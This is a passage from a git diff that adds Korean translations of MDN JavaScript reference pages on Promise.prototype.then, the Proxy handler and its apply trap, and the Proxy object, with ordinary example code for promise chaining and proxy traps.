+<div class="note">
+<p>매개변수 중 하나 이상을 생략했거나 함수가 아닌 값을 전달한 경우, <code>then</code>은 핸들러가 없는 것이 되지만 오류를 발생하지는 않습니다. <code>then</code> 바로 이전의 <code>Promise</code>가 <code>then</code>에 핸들러가 없는 상태로 완료(이행이나 거부)했을 경우, 추가 핸들러가 없는 <code>Promise</code>가 생성되며, 원래 <code>Promise</code>의 마지막 상태를 그대로 물려받습니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>p.then(onFulfilled, onRejected)</var>;
+
+p.then(function(value) {
+  // 이행
+}, function(reason) {
+  // 거부
+});
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>onFulfilled</code></dt>
+ <dd><code>Promise</code>가 수행될 때 호출되는 {{jsxref("Function")}}으로, <strong>이행 값(fulfillment value)</strong> 하나를 인수로 받습니다.</dd>
+ <dt><code>onRejected</code></dt>
+ <dd><code>Promise</code>가 거부될 때 호출되는 {{jsxref("Function")}}으로, <strong>거부 이유(rejection reason)</strong> 하나를 인수로 받습니다.</dd>
+</dl>
+
+<h3 id="반환값">반환값</h3>
+
+<p>{{jsxref("Promise")}}가 이행하거나 거부했을 때, 각각에 해당하는 핸들러 함수(<code style="font-style: normal; font-weight: normal;">onFulfilled</code>나 <code style="font-style: normal; font-weight: normal;">onRejected</code>)가 <strong>비동기적으로</strong> 실행됩니다. 핸들러 함수는 다음 규칙을 따라 실행됩니다.</p>
+
+<ul>
+ <li>함수가 값을 반환할 경우, <code>then</code>에서 반환한 프로미스는 그 반환값을 자신의 결과값으로 하여 이행합니다.</li>
+ <li>값을 반환하지 않을 경우, <code>then</code>에서 반환한 프로미스는 <code>undefined</code>를 결과값으로 하여 이행합니다.</li>
+ <li>오류가 발생할 경우, <code>then</code>에서 반환한 프로미스는 그 오류를 자신의 결과값으로 하여 거부합니다.</li>
+ <li>이미 이행한 프로미스를 반환할 경우, <code>then</code>에서 반환한 프로미스는 그 프로미스의 결과값을 자신의 결과값으로 하여 이행합니다.</li>
+ <li>이미 거부한 프로미스를 반환할 경우, <code>then</code>에서 반환한 프로미스는 그 프로미스의 결과값을 자신의 결과값으로 하여 거부합니다.</li>
+ <li><strong>대기 중</strong>인 프로미스를 반환할 경우, <code>then</code>에서 반환한 프로미스는 그 프로미스의 이행 여부와 결과값을 따릅니다.</li>
+</ul>
+
+<p>다음 예제에서 <code>then</code> 메서드의 비동기성을 확인할 수 있습니다.</p>
+
+<pre class="brush: js">// 이행한 프로미스를 받으면 'then' 블록도 바로 실행되지만,
+// 핸들러는 아래 console.log에서와 같이 비동기적으로 실행됨
+const resolvedProm = Promise.resolve(33);
+
+let thenProm = resolvedProm.then(value =&gt; {
+    console.log("이 부분은 호출 스택 이후에 실행됩니다. 전달받은 값이자 반환값은 " + value + "입니다.");
+    return value;
+});
+// thenProm의 값을 즉시 기록
+console.log(thenProm);
+
+// setTimeout으로 함수 실행을 호출 스택이 빌 때까지 미룰 수 있음
+setTimeout(() =&gt; {
+    console.log(thenProm);
+});
+
+
+// 로그 출력 결과 (순서대로):
+// Promise {[[PromiseStatus]]: "pending", [[PromiseValue]]: undefined}
+// "이 부분은 호출 스택 이후에 실행됩니다. 전달받은 값이자 반환값은 33입니다."
+// Promise {[[PromiseStatus]]: "resolved", [[PromiseValue]]: 33}</pre>
+
+<h2 id="설명">설명</h2>
+
+<p><code>then</code>과 {{jsxref("Promise.prototype.catch()")}} 메서드는 프로미스를 반환하기 때문에, 체이닝이 가능합니다. 이를 <em>합성</em>이라고도 합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="then_메서드_사용"><code>then</code> 메서드 사용</h3>
+
+<pre class="brush: js">var p1 = new Promise(function(resolve, reject) {
+  resolve("성공!");
+  // 또는
+  // reject("오류!");
+});
+
+p1.then(function(value) {
+  console.log(value); // 성공!
+}, function(reason) {
+  console.log(reason); // 오류!
+});
+</pre>
+
+<h3 id="체이닝">체이닝</h3>
+
+<p><code>then</code> 메서드는 <code>Promise</code>를 리턴하기 때문에, 이어지는 <code>then</code> 호출들을 손쉽게 연결할 수 있습니다.</p>
+
+<p><code>then</code>에 핸들러로 전달된 함수가 프로미스를 반환할 경우, 이와 동등한 프로미스가 메서드 체인의 그다음 <code>then</code>에 노출됩니다. 아래 예제에서는 <code>setTimeout</code> 함수로 비동기 코드를 흉내냅니다.</p>
+
+<pre class="brush: js">Promise.resolve('foo')
+  // 1. "foo"를 받고 "bar"를 추가한 다음 그 값으로 이행하여 다음 then에 넘겨줌
+  .then(function(string) {
+    return new Promise(function(resolve, reject) {
+      setTimeout(function() {
+        string += 'bar';
+        resolve(string);
+      }, 1);
+    });
+  })
+  // 2. "foobar"를 받고 그대로 다음 then에 넘겨준 뒤,
+  // 나중에 콜백 함수에서 가공하고 콘솔에 출력
+  .then(function(string) {
+    setTimeout(function() {
+      string += 'baz';
+      console.log(string);
+    }, 1)
+    return string;
+  })
+  // 3. 이 부분의 코드는 이전의 then 블록 안의 (가짜) 비동기 코드에서
+  // 실제로 문자열을 가공하기 전에 실행됨
+  .then(function(string) {
+    console.log("마지막 Then: 앗... 방금 then에서 프로미스 만들고 반환하는 걸 까먹어서 " +
+                "출력 순서가 좀 이상할지도 몰라요");
+
+    // 'baz' 부분은 setTimeout 함수로 비동기적으로 실행되기 때문에
+    // 이곳의 string에는 아직 'baz' 부분이 없음
+    console.log(string);
+  });
+
+// 로그 출력 결과 (순서대로):
+// 마지막 Then: 앗... 방금 then에서 프로미스 만들고 반환하는 걸 까먹어서 출력 순서가 좀 이상할지도 몰라요
+// foobar
+// foobarbaz</pre>
+
+<p><code>then</code> 핸들러에서 값을 그대로 반환한 경우에는 <code>Promise.resolve(&lt;핸들러에서 반환한 값&gt;)</code>을 반환하는 것과 같습니다.</p>
+
+<pre class="brush: js">var p2 = new Promise(function(resolve, reject) {
+  resolve(1);
+});
+
+p2.then(function(value) {
+  console.log(value); // 1
+  return value + 1;
+}).then(function(value) {
+  console.log(value + ' - 동기적으로 짜도 돌아감');
+});
+
+p2.then(function(value) {
+  console.log(value); // 1
+});
+</pre>
+
+<p>함수에서 오류가 발생하거나 거부한 프로미스를 반환한 경우 <code>then</code>에서는 거부한 프로미스를 반환합니다.</p>
+
+<pre class="brush: js">Promise.resolve()
+  .then(() =&gt; {
+    // .then()에서 거부한 프로미스를 반환함
+    throw new Error('으악!');
+  })
+  .then(() =&gt; {
+    console.log('실행되지 않는 코드');
+  }, error =&gt; {
+    console.error('onRejected 함수가 실행됨: ' + error.message);
+  });</pre>
+
+<p>이외의 모든 경우에는 곧 이행할(비동기적으로 실행되는) 프로미스를 반환합니다. 다음 예제에서는 바로 이전의 프로미스가 거부했음에도 첫 번째 <code>then</code>에서는 <code>42</code>의 값을 갖는 곧 이행할 프로미스를 반환합니다.</p>
+
+<pre class="brush: js">Promise.reject()
+  .then(() =&gt; 99, () =&gt; 42) // onRejected에서는 42를 곧 이행할 프로미스로 감싸서 반환함
+  .then(solution =&gt; console.log(solution + '로 이행함')); // 42로 이행함</pre>
+
+<p>실제 개발 시에는 아래와 같이 거부한 프로미스를 <code>then</code>의 2단 핸들러보다는 <code>catch</code>를 사용해 처리하는 경우가 많습니다.</p>
+
+<pre class="brush: js">Promise.resolve()
+  .then(() =&gt; {
+    // .then()에서 거부한 프로미스를 반환함
+    throw new Error('으악!');
+  })
+  .catch(error =&gt; {
+    console.error('onRejected 함수가 실행됨: ' + error.message);
+  })
+  .then(() =&gt; {
+    console.log("처음 then의 프로미스가 거부했지만 그래도 이 코드는 실행됨");
+  });</pre>
+
+<p><br>
+ 체이닝을 이용해 프로미스 기반 함수 위에 다른 프로미스 기반 함수를 구현할 수도 있습니다.</p>
+
+<pre class="brush: js">function fetch_current_data() {
+  // fetch() API는 프로미스를 반환합니다. 이 함수도
+  // API가 비슷하지만, 이 함수의 프로미스는
+  // 추가 작업을 거친 이후에 이행값을 반환합니다.
+  return fetch('current-data.json').then(response =&gt; {
+    if (response.headers.get('content-type') != 'application/json') {
+      throw new TypeError();
+    }
+    var j = response.json();
+    // j 가공하기
+    return j; // fetch_current_data().then()을 통해
+              // 이행값을 사용할 수 있음
+  });
+}
+</pre>
+
+<p><code>onFulfilled</code>가 프로미스를 반환할 경우, <code>then</code>의 반환값 역시 그 프로미스에 의해 이행/거부합니다.</p>
+
+<pre class="brush: js">function resolveLater(resolve, reject) {
+  setTimeout(function() {
+    resolve(10);
+  }, 1000);
+}
+function rejectLater(resolve, reject) {
+  setTimeout(function() {
+    reject(new Error('오류'));
+  }, 1000);
+}
+
+var p1 = Promise.resolve('foo');
+var p2 = p1.then(function() {
+  // 1초 뒤에 10으로 이행할 프로미스 반환
+  return new Promise(resolveLater);
+});
+p2.then(function(v) {
+  console.log('이행', v);  // "이행", 10
+}, function(e) {
+  // 실행되지 않음
+  console.log('거부', e);
+});
+
+var p3 = p1.then(function() {
+  // 1초 뒤에 '오류'로 거부할 프로미스 반환
+  return new Promise(rejectLater);
+});
+p3.then(function(v) {
+  // 실행되지 않음
+  console.log('이행', v);
+}, function(e) {
+  console.log('거부', e); // "거부", '오류'
+});
+</pre>
+
+<h3 id="domxref(window.setImmediate)의_프로미스_기반_폴리필">{{domxref("window.setImmediate")}}의 프로미스 기반 폴리필</h3>
+
+<p>{{jsxref("Function.prototype.bind()")}} <code>Reflect.apply</code> ({{jsxref("Reflect.apply()")}}) 메서드를 사용하여 (취소할 수 없는) setImmedate와 비슷한 함수를 생성합니다.</p>
+
+<pre class="brush: js">const nextTick = (() =&gt; {
+  const noop = () =&gt; {}; // literally
+  const nextTickPromise = () =&gt; Promise.resolve().then(noop);
+
+  const rfab = Reflect.apply.bind; // (thisArg, fn, thisArg, [...args])
+  const nextTick = (fn, ...args) =&gt; (
+    fn !== undefined
+    ? Promise.resolve(args).then(rfab(null, fn, null))
+    : nextTickPromise(),
+    undefined
+  );
+  nextTick.ntp = nextTickPromise;
+
+  return nextTick;
+})();
+</pre>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">스펙</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-promise.prototype.then', 'Promise.prototype.then')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>ECMA 표준에서 초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-promise.prototype.then', 'Promise.prototype.then')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Promise.then")}}</p>
+
+
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+ <li>{{jsxref("Promise.prototype.catch()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/proxy/handler/apply/index.html b/files/ko/web/javascript/reference/global_objects/proxy/handler/apply/index.html
new file mode 100644
index 0000000000..b4928da1d8
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/proxy/handler/apply/index.html
@@ -0,0 +1,154 @@
+---
+title: handler.apply()
+slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/apply
+tags:
+  - apply트랩
+  - 트랩
+  - 프록시
+translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/apply
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>handler.apply()</code></strong> 메소드는 함수호출 시를 위한 트랩(trap)이다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="brush: js">var p = new Proxy(target, {
+  apply: function(target, thisArg, argumentsList) {
+  }
+});
+</pre>
+
+<h3 id="인자">인자</h3>
+
+<p>apply 메소드에는 다음과 같은 인자가 들어온다.. <code>this는 </code>handler를 가리킨다.</p>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>대상이 되는 객체(함수)</dd>
+ <dt><code>thisArg</code></dt>
+ <dd>호출 시 바인딩 된 this</dd>
+ <dt><code>argumentsList</code></dt>
+ <dd>호출 시 전달된 인자목록.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p><code>apply</code> 메소드는 어떤 값이든 반환할 수 있다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code><strong>handler.apply</strong></code> 메소드는 함수호출 시를 위한 트랩이다.</p>
+
+<h3 id="가로채기">가로채기</h3>
+
+<p>이 트랩은 다음과 같은 것들을 가로챌 수 있다:</p>
+
+<ul>
+ <li><code>proxy(...args)</code></li>
+ <li>{{jsxref("Function.prototype.apply()")}} 와 {{jsxref("Function.prototype.call()")}}</li>
+ <li>{{jsxref("Reflect.apply()")}}</li>
+</ul>
+
+<h3 id="기본(불변)조건">기본(불변)조건</h3>
+
+<p><code>handler.apply</code> 메소드에 대한 특별히 지켜야 할 기본조건은 없다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음의 코드는 함수 호출 시에 트랩을 건다.</p>
+
+<pre class="brush: js">var p = new Proxy(function() {}, {
+  apply: function(target, thisArg, argumentsList) {
+    console.log('호출됨: ' + argumentsList.join(', '));
+    return argumentsList[0] + argumentsList[1] + argumentsList[2];
+  }
+});
+
+console.log(p(1, 2, 3)); // "호출됨: 1, 2, 3"
+                         // 6
+</pre>
+
+<h2 id="관련_명세">관련 명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-call-thisargument-argumentslist', '[[Call]]')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-call-thisargument-argumentslist', '[[Call]]')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저별_호환성">브라우저별 호환성</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("18")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("18")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="관련_내용">관련 내용</h2>
+
+<ul>
+ <li>{{jsxref("Proxy")}}</li>
+ <li>{{jsxref("Proxy.handler", "handler")}}</li>
+ <li>{{jsxref("Function.prototype.apply")}}</li>
+ <li>{{jsxref("Function.prototype.call")}}</li>
+ <li>{{jsxref("Reflect.apply()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/proxy/handler/index.html b/files/ko/web/javascript/reference/global_objects/proxy/handler/index.html
new file mode 100644
index 0000000000..9eebe33b2f
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/proxy/handler/index.html
@@ -0,0 +1,81 @@
+---
+title: Proxy handler
+slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Proxy
+translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy
+---
+<div>{{JSRef}}</div>
+
+<p>The proxy's handler object is a placeholder object which contains traps for {{jsxref("Proxy", "proxies", "", 1)}}.</p>
+
+<h2 id="Methods">Methods</h2>
+
+<p>All traps are optional. If a trap has not been defined, the default behavior is to forward the operation to the target.</p>
+
+<dl>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/getPrototypeOf", "handler.getPrototypeOf()")}}</dt>
+ <dd>A trap for {{jsxref("Object.getPrototypeOf")}}.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/setPrototypeOf", "handler.setPrototypeOf()")}}</dt>
+ <dd>A trap for {{jsxref("Object.setPrototypeOf")}}.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/isExtensible", "handler.isExtensible()")}}</dt>
+ <dd>A trap for {{jsxref("Object.isExtensible")}}.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/preventExtensions", "handler.preventExtensions()")}}</dt>
+ <dd>A trap for {{jsxref("Object.preventExtensions")}}.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/getOwnPropertyDescriptor", "handler.getOwnPropertyDescriptor()")}}</dt>
+ <dd>A trap for {{jsxref("Object.getOwnPropertyDescriptor")}}.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/defineProperty", "handler.defineProperty()")}}</dt>
+ <dd>A trap for {{jsxref("Object.defineProperty")}}.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/has", "handler.has()")}}</dt>
+ <dd>A trap for the {{jsxref("Operators/in", "in")}} operator.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/get", "handler.get()")}}</dt>
+ <dd>A trap for getting property values.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/set", "handler.set()")}}</dt>
+ <dd>A trap for setting property values.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/deleteProperty", "handler.deleteProperty()")}}</dt>
+ <dd>A trap for the {{jsxref("Operators/delete", "delete")}} operator.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/ownKeys", "handler.ownKeys()")}}</dt>
+ <dd>A trap for {{jsxref("Object.getOwnPropertyNames")}} and {{jsxref("Object.getOwnPropertySymbols")}}.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/apply", "handler.apply()")}}</dt>
+ <dd>A trap for a function call.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/construct", "handler.construct()")}}</dt>
+ <dd>A trap for the {{jsxref("Operators/new", "new")}} operator.</dd>
+</dl>
+
+<p>Some non-standard traps are <a href="/en-US/docs/Web/JavaScript/Reference/Deprecated_and_obsolete_features#Proxy">obsolete and have been removed</a>.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots', 'Proxy Object Internal Methods and Internal Slots')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots', 'Proxy Object Internal Methods and Internal Slots')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>The <code>enumerate</code> handler has been removed.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Proxy.handler")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Proxy")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/proxy/index.html b/files/ko/web/javascript/reference/global_objects/proxy/index.html
new file mode 100644
index 0000000000..777b4648d0
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/proxy/index.html
@@ -0,0 +1,394 @@
+---
+title: Proxy
+slug: Web/JavaScript/Reference/Global_Objects/Proxy
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Proxy
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Proxy
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Proxy</strong></code> 객체는 기본적인 동작(속성 접근, 할당, 순회, 열거, 함수 호출 등)의 새로운 행동을 정의할 때 사용합니다.</p>
+
+<h2 id="용어">용어</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler">handler</a></dt>
+ <dd>trap들을 가지고 있는 Placeholder 객체.</dd>
+ <dt>traps</dt>
+ <dd>프로퍼티에 접근할 수 있는 메소드. 운영체제에서 trap 이라는 컨셉과 유사하다.</dd>
+ <dt>target</dt>
+ <dd>proxy가 가상화하는 실제 객체. 이것은 proxy를 위한  backend 저장소로 사용된다.   Invariants (semantics that remain unchanged) regarding object non-extensibility or non-configurable properties are verified against the target.</dd>
+</dl>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">new Proxy(target, handler);
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>proxy와 함께 감싸진 target  객체 (native array, function, 다른 proxy을 포함한 객체)</dd>
+ <dt><code>handler</code></dt>
+ <dd>프로퍼티들이 function 인  객체이다. 동작이 수행될 때, handler는 proxy의 행동을 정의한다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{jsxref("Proxy.revocable()")}}</dt>
+ <dd>폐기할 수 있는(revocable) Proxy 객체를 생성.</dd>
+</dl>
+
+<h2 id="Methods_of_the_handler_object">Methods of the handler object</h2>
+
+<p>handler객체는 <code>Proxy를 위한 trap들을 포함하고 있는 </code>placeholder 객체이다.</p>
+
+<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler', 'Methods') }}</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Basic_example">Basic example</h3>
+
+<p>프로퍼티 이름이 객체에 없을때, 기본값을 숫자 37로 리턴받는 간단한 예제이다. 이것은 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/get"><code>get</code></a> handler 를 사용하였다. </p>
+
+<pre class="brush: js">var handler = {
+    get: function(target, name){
+        return name in target?
+            target[name] :
+            37;
+    }
+};
+
+var p = new Proxy({}, handler);
+p.a = 1;
+p.b = undefined;
+
+console.log(p.a, p.b); // 1, undefined
+console.log('c' in p, p.c); // false, 37
+</pre>
+
+<h3 id="No-op_forwarding_proxy">No-op forwarding proxy</h3>
+
+<p>이 예제에서는, native JavaScript를 사용하겠다. proxy는 적용된 모든 동작으로 보낼 것이다.</p>
+
+<pre class="brush: js">var target = {};
+var p = new Proxy(target, {});
+
+p.a = 37; // target으로 동작이 전달
+
+console.log(target.a); // 37. 동작이 제대로 전달됨
+</pre>
+
+<h3 id="Validation_(검증)">Validation (검증)</h3>
+
+<p>Proxy에서, 객체에 전달된 값을 쉽게 검증할 수 있다. 이 예제는 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/set"><code>set</code></a> handler 를 사용하였다.</p>
+
+<pre class="brush: js">let validator = {
+  set: function(obj, prop, value) {
+    if (prop === 'age') {
+      if (!Number.isInteger(value)) {
+        throw new TypeError('The age is not an integer');
+      }
+      if (value &gt; 200) {
+        throw new RangeError('The age seems invalid');
+      }
+    }
+
+    // The default behavior to store the value
+    obj[prop] = value;
+  }
+};
+
+let person = new Proxy({}, validator);
+
+person.age = 100;
+console.log(person.age); // 100
+person.age = 'young'; // Throws an exception
+person.age = 300; // Throws an exception
+</pre>
+
+<h3 id="Extending_constructor_(생성자_확장)">Extending constructor (생성자 확장)</h3>
+
+<p>function proxy는 쉽게 새로운 생성자와 함께 생성자를 확장할 수 있다. 이 예제에서는 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/construct">construct</a> 와</code> <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/apply"><code>apply</code></a> handlers 를 사용하였다.</p>
+
+<pre class="brush: js">function extend(sup,base) {
+  var descriptor = Object.getOwnPropertyDescriptor(
+    base.prototype,"constructor"
+  );
+  base.prototype = Object.create(sup.prototype);
+  var handler = {
+    construct: function(target, args) {
+      var obj = Object.create(base.prototype);
+      this.apply(target,obj,args);
+      return obj;
+    },
+    apply: function(target, that, args) {
+      sup.apply(that,args);
+      base.apply(that,args);
+    }
+  };
+  var proxy = new Proxy(base,handler);
+  descriptor.value = proxy;
+  Object.defineProperty(base.prototype, "constructor", descriptor);
+  return proxy;
+}
+
+var Person = function(name){
+  this.name = name;
+};
+
+var Boy = extend(Person, function(name, age) {
+  this.age = age;
+});
+
+Boy.prototype.sex = "M";
+
+var Peter = new Boy("Peter", 13);
+console.log(Peter.sex);  // "M"
+console.log(Peter.name); // "Peter"
+console.log(Peter.age);  // 13</pre>
+
+<h3 id="Manipulating_DOM_nodes_(DOM_nodes_조작)">Manipulating DOM nodes (DOM nodes 조작)</h3>
+
+<p>가끔씩, 두 개의 다른 element의 속성이나 클래스 이름을 바꾸고 싶을 것이다. 아래는 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/set"><code>set</code></a> handler 를 사용하였다.</p>
+
+<pre class="brush: js">let view = new Proxy({
+  selected: null
+},
+{
+  set: function(obj, prop, newval) {
+    let oldval = obj[prop];
+
+    if (prop === 'selected') {
+      if (oldval) {
+        oldval.setAttribute('aria-selected', 'false');
+      }
+      if (newval) {
+        newval.setAttribute('aria-selected', 'true');
+      }
+    }
+
+    // The default behavior to store the value
+    obj[prop] = newval;
+  }
+});
+
+let i1 = view.selected = document.getElementById('item-1');
+console.log(i1.getAttribute('aria-selected')); // 'true'
+
+let i2 = view.selected = document.getElementById('item-2');
+console.log(i1.getAttribute('aria-selected')); // 'false'
+console.log(i2.getAttribute('aria-selected')); // 'true'
+</pre>
+
+<h3 id="Value_correction_and_an_extra_property_(값_정정과_추가적인_property)">Value correction and an extra property (값 정정과 추가적인 property)</h3>
+
+<p><code>products</code> 라는 proxy 객체는 전달된 값을 평가하고, 필요할 때 배열로 변환한다. 이 객체는 <code>latestBrowser</code> 라는 추가적인 property를 지원하는데, getter와 setter 모두 지원한다. </p>
+
+<pre class="brush: js">let products = new Proxy({
+  browsers: ['Internet Explorer', 'Netscape']
+},
+{
+  get: function(obj, prop) {
+    // An extra property
+    if (prop === 'latestBrowser') {
+      return obj.browsers[obj.browsers.length - 1];
+    }
+
+    // The default behavior to return the value
+    return obj[prop];
+  },
+  set: function(obj, prop, value) {
+    // An extra property
+    if (prop === 'latestBrowser') {
+      obj.browsers.push(value);
+      return;
+    }
+
+    // Convert the value if it is not an array
+    if (typeof value === 'string') {
+      value = [value];
+    }
+
+    // The default behavior to store the value
+    obj[prop] = value;
+  }
+});
+
+console.log(products.browsers); // ['Internet Explorer', 'Netscape']
+products.browsers = 'Firefox'; // pass a string (by mistake)
+console.log(products.browsers); // ['Firefox'] &lt;- no problem, the value is an array
+
+products.latestBrowser = 'Chrome';
+console.log(products.browsers); // ['Firefox', 'Chrome']
+console.log(products.latestBrowser); // 'Chrome'
+</pre>
+
+<h3 id="Finding_an_array_item_object_by_its_property_(property로_배열의_객체를_찾기)">Finding an array item object by its property (property로 배열의 객체를 찾기)</h3>
+
+<p>proxy 는 유용한 특성을 가진 배열로 확장할 것이다. <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperties">Object.defineProperties</a>를 사용하지 않고, </code>유연하게 property들을 유연하게 "정의"할 수 있다. 이 예제는 테이블의 cell을 이용해서 row(열)을 찾는데 적용할 수 있다. 이 경우, target은 <code><a href="/en-US/docs/DOM/table.rows">table.rows</a>가 될 것이다.</code></p>
+
+<pre class="brush: js">let products = new Proxy([
+  { name: 'Firefox', type: 'browser' },
+  { name: 'SeaMonkey', type: 'browser' },
+  { name: 'Thunderbird', type: 'mailer' }
+],
+{
+  get: function(obj, prop) {
+    // The default behavior to return the value; prop is usually an integer
+    if (prop in obj) {
+      return obj[prop];
+    }
+
+    // Get the number of products; an alias of products.length
+    if (prop === 'number') {
+      return obj.length;
+    }
+
+    let result, types = {};
+
+    for (let product of obj) {
+      if (product.name === prop) {
+        result = product;
+      }
+      if (types[product.type]) {
+        types[product.type].push(product);
+      } else {
+        types[product.type] = [product];
+      }
+    }
+
+    // Get a product by name
+    if (result) {
+      return result;
+    }
+
+    // Get products by type
+    if (prop in types) {
+      return types[prop];
+    }
+
+    // Get product types
+    if (prop === 'types') {
+      return Object.keys(types);
+    }
+
+    return undefined;
+  }
+});
+
+console.log(products[0]); // { name: 'Firefox', type: 'browser' }
+console.log(products['Firefox']); // { name: 'Firefox', type: 'browser' }
+console.log(products['Chrome']); // undefined
+console.log(products.browser); // [{ name: 'Firefox', type: 'browser' }, { name: 'SeaMonkey', type: 'browser' }]
+console.log(products.types); // ['browser', 'mailer']
+console.log(products.number); // 3
+</pre>
+
